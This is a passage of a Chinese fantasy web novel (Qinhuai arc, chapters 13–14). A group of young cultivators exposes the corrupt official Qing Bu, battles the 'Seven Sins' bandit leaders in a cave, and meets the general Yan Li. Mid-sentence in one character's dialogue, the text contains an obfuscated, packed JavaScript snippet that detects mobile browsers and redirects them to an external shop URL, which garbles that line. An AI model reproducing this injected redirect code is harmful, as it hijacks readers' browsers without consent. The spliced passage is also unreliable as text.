三人挑灯夜审,直至天光微亮,却未见丝毫破绽——所有公务皆按章办理,款项期号一一对应,唯一值得诟病的便是修建政厅耗资巨大导致府库空虚,却也难以据此定罪。 木弈轩揉了揉发涩的眼角:“宫府尹先前查过一轮都未见纰漏,想来庆布行事极为周密。” 炎煜朱气得一拍桌案:“建这政厅耗费巨资,又非民生工程,说其中没有贪墨,鬼才信!” 木弈轩无奈摇头:“即便真有私账,又怎会留在户部档案里?除非……再劳烦斯堪曼……”她话音未落,瞥向榻上假寐的身影。 炎煜朱猛地抓起税册,兴奋道:“何须劳烦曼哥!我已瞧出破绽!” 木弈轩接过税册,与工程账册细细比对,疑惑道:“哪一笔税款有误?” 炎煜朱抢过册子,指尖重重一点:“政厅工程的税金根本未录入!你瞧,这序号连跳了十几号,定是他暗中私吞了!” 木弈轩失笑摇头:“政厅工程的税款已在价款中直接扣除,这是为免去收支繁琐的惯例。你说的跳号,怕是夹在了政厅工程账册里。” 页目向本在查阅契约录,闻言拿过税册,心算一数,果然不合,眼中骤然亮起:“原来好简单的把戏!你瞧瞧这两处报价。” 木弈轩接过工程账册,顿时明白过来,见果真如此喜道:“原来如此!实付远超扣抵金额,多出差额全进了他庆户郎的口袋!” 斯堪曼懒洋洋起身,舒展筋骨道:“政厅耗费不下亿数金福珠,证据确凿,他逃不掉了。” 页目向唤斯堪曼近前:“还得劳烦你再走一趟,将这些册子原样送回。我们只需留下这几本案卷便可。”见斯堪曼面露不耐,又浅笑诱道:“我们还未见过那孤月——今夜陪你去看这出秦淮大戏落幕,如何?” 斯堪曼果然眸光微动:“一言为定。” 待他离去,几人收拾好关键罪证准备前往医馆。木弈轩忧心道:“昨日是趁其不备,今日对方必严阵以待。斯堪曼归还卷宗时若遇埋伏……” 炎煜朱不以为意:“曼哥会形散之术,纵是千军万马也难困住他。” 木弈轩说:“话别说满,既有无相形散,亦有乾坤形聚,创尚有秽可与之相争,更何况他?我们三人尚可互相照应,只恐他独行遭遇克制之法。” 页目向不禁莞尔:“你总是事后才心疼起人,先前怎不当面提醒?” 木弈轩蹙眉:“他与我们相识不过数日,怎好当面说这些?” “放心。”页目向宽慰道,“若无我们拖累,那些人根本拦不住他。眼下该忧心的,是我们如何安然抵达宫府尹面前。” 几人说着已至客栈门口,街市上人声鼎沸,商贩、学子、脚夫摩肩接踵,一时难辨虚实。乾坤袋既在斯堪曼处,案册只得塞进木弈轩的挎包,撑得鼓胀不堪。页目向低声道:“叫上马车,越快越好。” 却说斯堪曼重返政厅,却未见阻拦,径直飞入档案室,将册案哗啦倒出,也懒得整理,转身欲走。不料头顶骤然坠下一具铁棺,轰然将他罩住!四周伏兵尽出,一拥而上用铁链将棺椁死死锁紧,方才敢喘口气。 这铁棺密不透风,坚不可摧,斯堪曼正要施术脱逃,棺外传来一声厉喝:“何人如此大胆!敢盗取政府机要!”听出是庆布声音,斯堪曼索性闭目养神,懒作回应。庆布见他竟不理会,强作镇定命人抬走铁棺,却掩不住浑身微颤,心焦火热。 “大人不如先把宫昌......”提一旁幕僚抹脖示之。 庆布摆手:“传令下去,准备七罪宗的公关演说。” 他略作沉吟,又道:“慢着,再备份请帖,给公子小姐们,说是孤月得空,落英洞相会。” 另一头,页目向三人顺利抵达医院,将案册交予宫昌。宫昌听罢其中关窍,激动得险些挣下病榻,被木弈轩轻声劝住。 “宫某向来以为达官显贵之家多出纨绔,今日方知是门风有别!”宫昌激动地拱手,“宫某代秦淮百姓谢过诸位!此恩没齿难忘!” 正当此时,一人急匆匆闯入病房,歉声道:“实在不忍打扰诸位,可出大事了!” 宫昌怒道:“你这老滑头还有脸来?” 来人腆着圆滚滚的肚子,模样憨厚可掬,唯独头顶毛发稀疏,可谓“聪明绝顶”。他急声道:“秦淮工长卢围,见过公子小姐!庆布已起杀心,要对诸位不利啊!” 宫昌忙道:“他已无路可退!公子小姐莫慌,下官这便调集所有卫官前来护卫!” 页目向却警惕地看向卢围:“你怎么会晓得?又怎么会来报信?” 宫昌刁难道:“卢大人先前难道不算从犯?” 卢围辩解道:“下官只是不作为,不胡为,从未主动同流合污!宫大人莫要拿人命说笑!” 炎煜朱讥讽道:“如今倒知道‘作为’了” 卢围说道:“这关系造反,怎敢不作为!且不消轮到天原问罪,便是周边四府一齐出兵,管叫秦淮生灵涂炭,凭谁也无法躲过!” 炎煜朱一拳将他揍倒,木弈轩忙止住他,他仍骂道:“昏官!昏官!吃着官饷怎好意思不作为!如今眼见瞒不过才晓得厉害!” 卢围挣扎爬起还想辩解,被宫昌一个眼神吓住,不敢开腔。 页目向沉声问道:“他们是要如何?” 卢围支支吾吾道:“说是,抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572389|187047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了公子朋友,只待公子自投罗网……” 页目向心头一紧,强压焦急追问:“你说的可是真话?” “千真万确!” 木弈轩试探问:“什么朋友?” “说是会形散之功的,为此专门寻了个密不透风的铁棺材装他!” 听闻此言,众人方信,顿时悔不该、愧不该让他只身前往。宫昌见页目向脸色晦暗,愁眉不展,忙劝解道:“斯堪曼小友想必暂无性命之忧。此刻万不可自乱阵脚,正中贼人下怀!” 正此间,一名小从叩门而入,禀道:“庆户郎有信送到,请页公子亲启。” 页目向一把夺过信笺,展开念道:“孤月于项城林郊月牙山落英洞中备下薄酒,恭请公子戌时初刻,准时莅临。” 宫昌强撑起身,急声劝道:“公子切莫冲动!如今证据确凿,只需提交司法,逼得逮捕令,再派卫官擒拿贼人,昭告百姓,明日开堂公审,定叫他报应不爽!” 炎煜朱急道:“可曼哥还在他们手里!” 宫昌心急如焚,竟踉跄下床跪倒在地:“公子千万以大局为重!” 木弈轩忙将他搀扶起来,页目向知晓宫昌苦心,可如何不忧虑斯堪曼安危,心中万般挣扎。 见气氛焦灼,卢围提说:“府尹、公子,此刻拘捕庆布已非关键。他敢如此猖狂,无非是倚仗七罪宗蛊惑民心,欲割据称王。当务之急,是要抢先公示罪证,夺回舆论先机。若等他反咬一口,局面将再难挽回!” 宫昌闻言,眼中掠过一丝惊异:“我竟不知你何时有了这般胆识与谋略!” 页目向忆起秦淮剧院人声鼎沸的景象,深觉有理,于是道:“卢大人所言极是。既然罪证确凿,首要之事便是公告天下,先定他要犯之名!斯堪曼遇险,我绝不能坐视不管。恳请宫叔叔即刻布局,让秦淮府上下尽知庆布之罪,我先行一步。” 宫昌见他心意已决,慨然道:“宫某亦欠斯堪曼小友一份人情。既如此,我即刻派遣一支精英小队暗中随行,为你左右策应。此事关乎公子安危,万勿推辞!” 页目向道谢应下,同木、炎二人赴邀而去。 却说斯堪曼醒来后,见四周漆黑,犹才忆起先前遭遇,心下却并不慌张,听得棺外没有动静,施展功法,透棺而出。他略一打量,见身处岩壁环抱之中,脚下是干硬黄土,便知已身在月牙山洞穴中,倒是正合他心意。下处还有几个偷懒打盹的看守,斯堪曼无意打草惊蛇,旋即化作一只夜蝠,贴着洞顶四处查探。洞中昏暗,路径曲折,忽遇前方灯火通亮,他想是洞中核心,于是小心飞去。 斯堪曼俯视堂下,正中央陈列一张长桌,围有七座,皆纯金镂雕,丝绒铺造。此刻空了三席,在座四人,并无相识面孔。居上首者,一头棕发披散,狮目半阖,肩佩勋章,身披军氅——想必便是那罪魁“傲慢”、男爵孤月。孤月左右两席皆空,其下则坐着两名高壮男子:一个尖牙咧嘴,应是“暴食”口不掩;另一个垂发遮面,当是“懒惰”耳不闻。末座是个瘦小少年,耳侧编着一根三寸发辫,依照炎煜朱的描述,此人定是“妒忌”心生狐了。 四人围坐,也不交流,倒像是等着谁。忽闻后门脚步声响,斯堪曼以为是庆布,不料现身者竟是一名女子。但见她一身沙白软甲,腰悬月牙弯刀,星目乌唇一股刻薄,高鼻长颊尽显凶恶,鄙夷四众皆为草寇,周遭端她悍妇空贼。 孤月知人已到,只略抬一眼,见她神态倨傲,便也漠然不理。口不掩上下打量,生出歹念,扑了上前。女子眉峰一横,腾跃而上,一脚踏上口不掩背脊,借力一蹬,将口不掩踢出老远。心生狐趁机放出一团黑烟,借着烟尘遮蔽突身上前,反被她一把擒住,掷出堂外。女子目光不屑,挑衅看向孤月。孤月骤然暴起,凭空握出一柄长枪,往女子掷去。女子闪避未定,他已疾掠而至,拾枪横扫。女子拔刀扣住枪头,孤月施力上挑,将长枪抛出。女子再度挥刀,孤月人影随枪而动,跃至半空,倒挂悬身,俯冲刺下。女子急退,扑身逃去。枪尖点地,土石崩裂,尘沙四起。待尘烟散尽,一点寒芒已凝于她喉前。 女子急道:“请收手!我奉主上之命,前来定约。” 孤月收枪,转身登上王座。 女子道:“主上欲向卿爵购粮二十万石、棉布五万匹、蔬果五万石、火器一万支,另加钢刀木材若干。” 孤月道:“墨本未归,暂且记下,明日回复你。” 女子激他:“北境物资吃紧,不得耽误。卿爵莫非做不了这个主?” 孤月眼神骤寒,如刃刺去,盯得女子心头一凛。“你,有何资格与我商议?” 女子面色涨红,愤然离去。 斯堪曼暗忖:如此大宗买卖,七罪宗不过做些收保出演的活,凭什么承接? 页目向三人提早抵达月牙山下,欲攻其不备。但见四周草木凋零、山石崩乱,皆是被节气令波及之状,洞外更有重兵严密把守,不可硬闯。 页目向低声道:“弈轩,你用护灵根藤送我们潜入,先救出斯堪曼,即刻撤离!” 木弈轩忧心忡忡:“只盼那蜘蛛万千不在洞中!”言毕,唤出根藤裹住三人,悄然遁入地下。 另说蛛王一行仍在淮阳城中,如今正躲在医院对楼,紧盯着宫昌的动向。忽见一队卫官簇拥一人出院,蛛王只派了蝎子、蜈蚣、□□三人尾随。不久,又见一队卫兵护着一人出来,他这才亲自领着蜥蜴与蛇跟了上去。宫昌与卢围躲在暗处,见五毒皆已被引开,方才换上便装,悄然赶往司法厅。 “五毒这帮废物。”庆布立在街角一侧,将一切动作收入眼底,狞笑道,“半战,我们可不能慢过那两个残废。” 13. 秦淮篇-义军卫军 那厢蝎子沉不住气,眼见逼近目标,猛地向“宫昌”发起偷袭。那人却似早有防备,举盾挡下。四周卫官瞬间结阵,将他团团围住。蝎子见状,向外厉声喝道:“你们还不动手?” 蜈蚣与□□只得褪去伪装。蜈蚣骂道:“你个憨货!见着不是宫昌,转去协助蛛王大人就是,偏要逞强!连累我们下水!” 卫官虽众,却不敢轻敌。这边长枪列阵,那方凶神恶煞,一时僵持不下。 却说蛛王攀附楼宇间,见时机已至,骤然吐丝,将“宫昌”凌空卷至面前。一看面目,方知中计,急将那人抛下,招呼蜥蜴、蛇二人速退。众卫官岂肯放行,纷纷引弓放箭。蛛王反身吐出一张大网,将箭矢尽数兜揽,趁机脱出重围,疾奔医院而去。 两处冲突皆有路人目睹,消息如野火般传遍大街小巷,众人皆相互告诫,绕道而行。严离正在城中闲逛,听闻热闹便要上前。有路人见他去向不吉,忙劝其调头避凶,他却笑盈盈答说自己才是头一等大凶。 再说蛛王,他从医院寻人不得,正怒火中烧。 蛇怪劝道:“大人,宫昌若真到了司法厅,逮捕令一下,庆布必要夺权正法,于我们岂非更有利?” 蛛王道:“怎讲?” 蛇怪道:“若未见逮捕令,七罪宗只消屠尽知情人,并未公众,尚有回旋余地。届时上头追问页家公子之事,尽可寻一替罪羊。页长老素有清名,总不会无凭无据怪罪地方官员?” 蛛王闻言大笑:“若见了逮捕令,秦淮从此不归青龙国!”正欲奖赏蛇,蜥蜴急禀:“大人,弟兄们还未归呢!” 蛛王道:“想必是同那伙卫官打得胶着,待我去添把火!”言罢,纵身攀上高墙,疾驰而去。 蝎子三人本已不敌,眼看就要被擒,幸得蛛王及时赶到,出手将那队卫官尽数放倒。 蛛王斥道:“行事如此张扬,是怕别人不知晓么?”蜈蚣与□□连忙将过错尽数推给蝎子。蝎子百口莫辩,只得跪地请罪。 谁知蛛王却未动怒,反似心情颇佳:“我听闻芃丝要在广场公演,此事颇为反常。走,随我去看个究竟。” 真可谓出行偏遇拦路煞,晒谷却遭连阴雨。蛛王一众竟在半道与严离迎面撞见。蛛王是认得严离的,心中暗叫不妙,忙低头回避,额角已渗出冷汗。严离只觉此人面熟,一时却难以记起。待蛛王一行人走过,他忽地转身诈道:“阁下好面熟啊!” 蝎子性急,当即争辩:“小子胡说什么!” 蛛王急忙制止蝎子,脚下不停,继续前行。严离见他这般反应,反倒不确定了,只当是自己认错了人。 见严离远去,蛛王反手给了蝎子一巴掌,怒道:“你差点将我们交待在这儿!”蜥蜴忙问缘由,蜈蚣似知一二,却闭口不言。 蛛王厉声道:“那人是天原兵部元帅麾下五位少将军之一的严离!纵是蛟、鹰,亦或再搭上孤月与我合力也难胜他,你怎么敢惹他!” □□忙劝道:“东条见识短浅,大人息怒。” 蛇怪眼睛一转,故意问道:“那我们……还留在此地么?” 蛛王知晓他意思,笑道:“生意已做成了,闹这一通也足矣,打道回东海。” 宫昌二人驾快车赶至司法厅,却见厅前已被一众卫官团团围住。 卢围急问:“这……这总不是你调来的人吧?” 宫昌捶窗恨道:“还是慢了一步!” 此时庆布自厅内走出,瞧见二人便笑道:“两位同僚行色匆匆,所为何事?”不待回答,他抬手一指,四周卫官即刻围拢上来,杀气腾腾,哪管他什么府尹身份。 宫昌怒骂:“庆布匹夫,你真敢造反?!” 庆布讪笑反讥:“宫府尹倒是演得一出好戏,在此颠倒黑白!” 见宫昌双目赤红,卢围心惊胆战,忙劝道:“你万勿激他!” 宫昌却一把将他推开,怒其不争:“你这懦弱的肥肉!若你当初肯早早作证契约有假,何至于有今日之局!” 卢围气得语不成句:“你……你……岂有此理!” 庆布正乐见二人内讧,又急于赶往新闻局操纵舆论,当即厉声呵斥:“府上命官当街推搡喧哗,成何体统!都给我拿下!” “只是推搡喧哗便要拿人,未免太过苛厉了!”话音未落,众人见得一团赤红从云头临下。来将手提一柄烈焰枪,高束赤发,又袭一身红衣,形容是:色落九天薄日彩,气贯千里霞云光——不是严离,又能是谁? 庆布心中一惊:此人气度非凡,大有来头,不宜得罪,拱手道:“在下秦淮府户郎庆布,敢问阁下是?” 严离淡然一笑:“旅行途径贵地,不过一闲散人士。” 庆布岂会轻信这等谦辞,忙禀告:“阁下有所不知,此二人乃秦淮府罪人,正欲将其擒拿…….” 宫昌闻言怒不可遏:“你这贼子敢与我对峙?你虚増公付、侵吞公款,更伪造契约强占南陵三城良田!罪证俱在我手,你怎敢在此颠倒黑白!贼喊捉贼!” 庆布急着指向身后司法厅,起誓道:“阁下若不信,可请刑部督长出厅对峙,这二人确系罪人无误!” 卢围在一旁阴阳怪气道:“你连襟兄弟为你出证?此为证孰不为证?” 宫昌见他终于硬气一回,欣慰赞道:“难为你总算说了句有用的话!” 卢围转而向严离恭敬禀报:“少将军明鉴!眼前这位庆户郎贪赃枉法、狼子野心,其罪当诛!” 庆布素来知道卢围圆滑,从不轻易表态,听说对方是兵部少将,才晓得大祸临头,急忙暗示半战先下手为强。 严离正欲问卢围如何识得自己,话音未落,两柄缠绕黑焰的齿刃已洞穿其腹!庆布自以为得手,却见严离一把将那两柄齿刃逮过,转身瞄向半战,架着流火猛冲扑去。庆布急令左右:“先处决他二人!”严离闻声回头,挥手间千万火星迸出,众卫官应势瘫倒。 庆布大骇,忙掷一枚铜元于地。那铜元飞旋间变化为一五尺圆盘,中间方孔恰好容得下一人,他慌忙钻入,瞬息无踪。严离也不管他,仍要去擒半战。 半战见庆布独自遁逃,怒火中烧,周身黑焰燃的愈发熊烈。严离擒住其臂:“你心火燃作黑色,想必易躁易怒已经伤了肝木。”半战性急,奋力挣扎开来,呼出一团黑焰,却被严离轻松捏过,在他手中竟化为赤莲一朵。随即一道赤焰注入半战胸腔:“我今日为你涤荡黑焰,教你有浩荡心胸。”烧得半战身如蚁噬,身上黑焰也尽熄灭,却又好似焕出一缕新生火种。严离道:“你神通已消,往后莫修习这伤身邪法。” 宫昌不解道:“少将军这是何意?” 严离答道:“他所练神通叫‘心怒’,原是训练死士的邪法。修习者常感诸事不平,怨气化黑焰护体,日久心脉必损,药石难医。若非受人挟制,断不会自修此术。况且他所得并非全本,否则威力远不止于此。” 严离还要审他,卢围便在旁道述前事,宫昌则急着入厅,要去签发逮捕令,可谓各有分工。 再说,木弈轩驱策根藤遁地而行,同时细辨地上动静,已将洞中格局探明:此山腹内藏有四洞,通道如枝丫相连,唯月牙山下一口可供出入。几人于一洞中悄然探上地面,但见眼前金银堆积成山,流光成河,竟是一座隐秘宝库! 页目向惊道:“他实际掌管秦淮不过两年,仅七罪宗一处收益,竟能贪墨至此,真是好大的蛀虫!” 炎煜朱愤然道:“向哥,你不如用乾坤袋把这一洞金银装回,返还给南陵乡里去!” 页目向叹说:“乾坤袋也得来返五次才能搬空,还是先救出斯堪曼要紧。” 几人轻步出了宝库,见前方有守卫四人。页目向疾步逼近,趁其不备,指尖光华连点,四人应声而倒。 页目向庆幸道:“好在主力都布防在外,洞内反而空虚。” 炎煜朱喜道:“不然怎么说是户部官员,排兵布阵实在外行!” 几人沿洞壁摸索前行,遇一岔路。木弈轩辨道:“左路通一洞,右路前方另有岔口,可通另外两洞。牢房与库房理应分设,走右边更为妥当。” 炎煜朱追问:“再往里的岔口又该如何走?” 木弈轩答道:“方才听靠里那边地动山摇,动静颇大,恐怕不是善地。稳妥起见,还是先往最外侧探查。” 炎煜朱猜测:“会不会是曼哥已经脱身,正与他们交手?” 页目向摇头道:“斯堪曼若能自行脱困,我们也不必前来。只是不知庆布那贪官用了何种法宝,竟能将他擒住。” 再说庆布借铜元遁走,自一豪宅内闪身而出。芃丝正在沐浴,闻得室内响动,裹了浴袍出来察看,见是庆布,便笑道:“遇猫的老鼠,避雕的雀,也没户郎大人这般惊风火扯。” 庆布无心理会调侃,厉声道:“我交代的事你可做了?” 芃丝瞪他一眼,解开浴袍躺上宫毯,舒展身体道:“你换张脸再同我说话。” 庆布急吼:“祖宗!天原的人到了!事到底办得如何!” 芃丝被吓得一激灵,不满道:“吼我作甚!事情办好了!我看不惯你这副模样,半点兴致都无!” 庆布稍加放心,应芃丝要求将那五官身形俱变——身姿挺拔,潇洒干练,瞧这衣冠禽兽,果真就是墨本! 芃丝双手揽过他脖颈,展颜笑道:“这才有几分人样!半战呢?这两日他不是一直跟着你?” 墨本脸色一沉:“折在宫昌手里了。” 芃丝闻言急道:“你竟敢一个人回来!” 墨本走至落地窗前,窥城而望:“只能逃了,先前制定的备用方案,照常执行。” “可孤月那边?” 墨本拨弄窗帘哗啦作响:“眼下顾不得许多,只能弃车保帅。” 话说半战被剥去黑焰,身体孱弱不堪,严离审讯途中,他几度险些昏厥。据他供述: 他本是淮阳城中孤儿,因上任司礼认院里承接杂活,又组织公演义卖,日子虽不富裕,倒也温饱有余。可好景不长。院中收容者日增,多为老弱,渐渐入不敷出。礼部资金不足,只得将收容院划归户部管辖。户部话事人主张以暴利平账,辞掉了所有正经杂活。明面上专攻公演,暗地里却行娼妓之事。有姿色的,日子尚可,只是要供人取乐;色衰残障便只让在院中做些粗鄙重活,病了老了,由其自生自灭。一日庆布来院里视察,见他模样生得极好,便将他要去。他当时想着,所做之事与从前并无不同,到底位高权重了不少,便应允下来。待被浮华迷住心窍,行动沾染罪孽,悔过晚矣。 严离怜他体弱,暂且让他歇下。临走前,半战挣扎喊道:“将军!我有一兄弟,他名心生狐,遭遇类我,万望将军搭救!”说罢,便昏死过去。 卢围在旁叹道:“秦淮府遭户部荼毒久矣!” 严离瞥他一眼,问道:“差些忘了问你,你怎么认出我的?” 卢围笑道:“下官为官三十余载,各部要官的风采,岂能不熟记于心?” 严离也笑:“此事你也有罪。” 卢围忙躬身作揖:“下 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原来那三人到了牢房,先是放倒了看守,发现偌大的牢房只摆了一具不合时宜的棺材,便全心去挪动那棺材,少有留心四周。没曾想正好被巡逻守卫瞧见。 几人费力揭开棺板,没见着斯堪曼,猜忌有诈,忙让木弈轩施法送他们出洞。孤月却早已提枪赶到,只见他将长枪往根藤处投去,木弈轩手心被震得生疼,法术竟被打断。 下一刻,孤月身形随枪影而至,握住长枪奋力一扫。页目向慌忙拔出岁寒剑挡下,听得清脆金鸣一声,火花四溅。页目向想:动身前爷爷透露此剑玄妙,定有大用。握剑也更添了几分把握。 孤月眼神愈加狠厉,枪尖点动如骤雨倾盆。待页目向乏力,他挑过岁寒剑绕舞几圈,猛地打下,击碎剑身玉饰。页目向虎口震裂,仍强忍疼痛施出光斩退敌。孤月纵身躲过,回手便是一记回马枪。 炎煜朱见状,手掌凝出一条炎龙,从侧边攻向孤月。孤月抽枪格开火焰,那炎龙却围他愈紧,张口欲吞。孤月将长枪向外掷出,身形一闪已至枪旁,抓起长枪转而攻向木弈轩。 此时,心生狐同口不掩赶到,与炎煜朱正是冤家聚头,齐要擒他。页目向知他二人实力不济,仍选择先去帮木弈轩。 说时迟那时快,孤月枪尖寒芒已临至面前,斯堪曼骤然显出原身,一步飞踢正中孤月。孤月一个踉跄稳住身形,见来人:正玄一衣色,漆夜天狼望,果如蛛王所言般不凡。 两人阵前对峙,剑拔弩张,却都不肯先出手。 页目向扶起木弈轩低声道:“趁他们僵持,还不施法?” 木弈轩道:“孤月刚才断了我的根藤,此刻难以遁走,只能寄望于斯堪曼了。我们先去帮煜朱!” 那边炎煜朱独斗一人尚有余力,可对方一人暗中使坏,一人明着来抢,联手夹击,顿时落了下风。耳不闻原本事不关己般伫立一旁,见页、木二人欲动,这才闪身阻拦。 页目向先前窥得他一些本事,急道:“莫要管他,先去帮煜朱!”木弈轩点头,直接绕开耳不闻,正欲唤出藤条封锁心生狐,却觉眼前光景一晃,竟又回到原地。 “怪事!”木弈轩止步惊疑。 页目向道:“先前匪徒砍他如中虚无,此人修的定是幻术,不要与他缠斗!” 道理虽明,行动却难。二人左冲右突,竟如何也绕不过这座“不动山”,任你法术拳脚、身法计谋,皆难近其身。 那一边,双拳强敌四手;这一边,两仪困入太极。战局一时陷入胶着,难分胜负。 另说芃丝先有准备,早已在城中广场搭起高台。民众听闻名角要登台献艺,消息传开,纷纷前来观赏。 芃丝唱罢几曲,忽地毫无征兆地哭泣起来,梨花带雨,好不惹人怜爱。人群如开闸潮水般涌向台前,都要看个究竟。芃丝见广场已是人山人海,便娇喘几声,泣道:“我哭不为别事,只为那含冤入狱的半战!” 此言一出,台下惊叹质疑之声四起,众人皆想不出半战这半日能犯何事。 芃丝佯装悲切道:“官场风云诡谲,诸位皆有耳闻。谁曾想,那宫昌府尹为夺权位,竟不惜谋害同僚!半战他正是撞破此等阴谋,才遭构陷下狱。如今连庆布户郎也下落不明,我每念及此,怎能不忧自身安危?怎能不心惊落泪?” 台下听得如此正是义愤填膺却也有三分不信。墨本又领着一众秦淮名士、商帮客佬登台,向着大众告御状——状告宫昌自入主秦淮后结党营私、僭越扰民之罪。听他们舌灿莲花,说得有模有样,民众生出一股热气就要结队去往政厅讨要说法。 墨本高声激道:“各位千万理智,宫昌敢如此目无王法,正是有天原少将严离袒护。如今他又来了秦淮府,不可莽撞!” 台下有人怒斥道:"秦淮几百万人民岂能受这等气!天原高官又如何?"众人齐声附和,皆称民主为先。又有人激昂道:"高官便可目无王法么?咱们定要去政厅讨个公道!"众人连声称是,纷纷引经据典以证其理。再有人倡议:"若是以武力相逼,咱们也不必畏惧,众人拾柴火焰高,正好教他们见识秦淮风骨!"群情愈发激愤,言辞渐趋激烈,所有温和持重之见皆被这股正义怒潮淹没。 不知哪个角落先响起一声:"反了!"却如石沉大海,无人应和。又一人喊出:"反了!"邻近闻者不过窃窃私语,暗斥荒唐。待第三声"反了"响起,方有人惊觉事态严重,正欲制止,可没等他开口,其他人也说:“反了!”众人都开始高声唱反,拥着浩浩荡荡的队伍往政厅去了。 14. 秦淮篇-义军大捷 再提宫昌上楼进了司法厅法务室,瞧见督长椅后躲着一人,走过去将他拖出:“好小子!庆布大势已去,你更不得保全!速速签发逮捕令,还算你一功!”原来这人正是督长曲岩。他在厅里早听得楼下严离威风,见宫昌如此说,慌得照做,嘴上还不离“说情”二字。 宫昌签了逮捕令,拉上卢围驾车直奔卫城厅,也未留意路人口语,故不晓得芃丝作为。 话说现任卫官长大名吴能,可谓人如其名,正因如此庆布才推举他做了这尊讨吉的塑像。如今他听了宫昌一顿说教恐吓,立马交出卫官调令,挂出通缉告示,显得诚意十足。 吴能哆嗦道:“先前庆户……庆布调走一些,除常受府尹您差遣的,厅上卫官还有二三百人,其余校官处还要另宣,您看?” “校官自有卫城重任不必惊扰,只将在厅卫官悉数点出,随我城中游示去!” 卢围提醒说:“你先前点了两队,如今还未回命,只怕庆布还在城中。目前在厅卫官不过常数一半,图稳妥不如守着政厅等严离将军回来再作打算。” 宫昌闻言讥讽道:“你方才还说要抢占先机,如今怯他们作甚?怕半厅卫官降他不住?” 卢围见状便不再劝。 宫昌点出在厅卫官,整编队伍,宣读逮捕令,下令道:“沿途张贴通缉告示,凡遇涉案人员立即拘捕!” 那边人潮自广场涌溢,向着政厅踏来;这边卫官从卫城厅出发,欲往闹市巡行。一个荒唐,一个激进,好似秦淮剧院里唤作义军与卫军两座角楼,一方要破,一方要立,义军高呼“城中盘伏恶龙”,卫军呐喊“勇士保家卫国”;义军道“天下兴亡匹夫有责”,卫军称“惩奸除恶义不容辞”,眼瞧着就要中道相遇,目光还请转到另一边。 斯堪曼誓要让着孤月先动,孤月瞧他神情悠闲,大为不满,却仍端着架子不肯先出手。页、木二人仍被困在耳不闻迷阵中,始终不得脱身,心中焦急万分。而炎煜朱因心生狐暗中使坏,被口不掩抓伤手臂,又痛又恼。他急中生智,转身往洞壁边逃去。 口不掩要追,炎煜朱猛然回身打出一捧火花,趁其躲闪之际,纵身跃上岩壁。 心生狐急道:“他靠着石壁,我们不好围攻,快把他打下来!” 炎煜朱却将灵力聚于天目,手势变幻,搓出一条火焰绳索,喝道:“你们以多欺少,且绑住一个才好单挑!”话音未落,火绳已射向口不掩,将其捆住后向上一提,随即连人带绳狠狠掼在地上! 耳不闻见口不掩受制,忙离了阵眼前去救援。木弈轩岂肯放过这机会,掌心向地一拍,霎时十几条藤蔓破土而出,将耳不闻团团围住,藤蔓顶端紧密交缠,眨眼间化作一座坚实牢笼。 心生狐急忙呼唤孤月,孤月这才出手,将长枪掷向藤笼,身形随之闪现,横枪劈开牢笼。他冷声对耳不闻道:“只照看好你亲兄弟,能是什么难事?” 几人皆知晓他厉害,不敢轻举妄动。此时洞外守卫蜂拥而入,堵住通道,形成合围之势。 木弈轩急道:“果不能恋战,早些逃去就好了!” 页目向疑心道:“宫府尹明明说有暗兵接应,怎么还不见踪影?” 口不掩趁他们分神,一口咬断火绳,翻滚着逃到一旁。 炎煜朱惊道:“好厉害的牙口,火焰也能吞了!” 口不掩咧嘴笑道:“若是饿极了,便是钢筋铁皮也是美味。不练副好牙口,早荒尸南陵乡郊了!” 页目向听得“南陵”二字,正想追问,口不掩便招呼手下一齐攻来,自己隐入其中了。 炎煜朱怒骂道:“没半点骨气!敢出来与我单挑?” 页目向双掌交叠念了一声“开”,一道圆弧光屏应声罩在三人顶上,只听得兵刃击打其上铮铮作响,将一众守卫尽数隔在屏外。 斯堪曼瞧见,饶有兴致道:“原来你会光源聚全章,先前怎么佯装不会?” 页目向哼道:“总是要留几张底牌。” 孤月莫名躁怒起来。他向来以傲慢自居,可此刻却意识到,自己所谓的端着身份,实则仍会被所见所闻牵动七情六欲,哪里算得上真正的高人一等?反观眼前这人,散漫至极,全然未将他放在眼里,如同观赏斗兽般打量着洞中众人——这才是真正的傲慢! 孤月掷出长枪向斯堪曼刺去,后者凭着形散轻松躲过。孤月见识形散也不惊讶,攻势愈发狠厉,枪尖急点,戳挑夜蝠。斯堪曼形体难以汇聚,虽攻他不得却也未落下风。 孤月冷笑道:“果真是下等人,只晓得闪躲。”转过又把长枪往光屏投去。 页目向见枪势袭来,急忙向光屏又注入一股神通灵力,只听一声刺耳锐响,枪尖竟深深嵌入光屏。孤月瞬身而至,拔出长枪凿击屏面。心生狐见状,立即喷吐黑雾笼罩众匪,教唆一伙劈砍上去。 斯堪曼凝聚实体欲要救援,却遭耳不闻阻拦,正如页、木二人先前遭遇的困局,行动不能。 眼见光屏即将破碎,炎煜朱急道:“与其坐以待毙,不如让我出去与他一战!” 页目向低声道:“你看那裂缝。待光屏一破,我们合力从此处出击,必能伤他!” 孤月奋力击碎光屏,枪尖直指页目向眉心。不料两道凌厉光斩自下而上袭来,正中其胸膛。他还没来得及掷枪躲过,炎煜朱又呼出一口烈焰,将他烧了个烟灰土面。木弈轩还想用藤锁困他,他纵身跳开,打落身上火花,目如豺狼般狰狞,直勾勾盯着三人,怒极咆哮:“卑鄙蛆虫!” 其余匪徒见状再度蜂拥而上。心生狐见孤月受挫,假意在外围呐喊冲锋,却始终不肯近前。此时通道中忽然传来厮杀声,他顺势退入通道察看。 炎煜朱双拳燃起烈焰左右开弓,急道:“趁那使枪的还没缓过气,我们快走!” 页目向环顾洞中局势道:“先别急,斯堪曼还被耳不闻的幻术困着。你们听通道里的动静,定是援军到了!” 只见心生狐慌忙退出通道,卫官们步步紧逼入洞,领头的正是张武。匪徒们见官兵到来,个个惊慌失措,不自觉地往洞壁退缩。 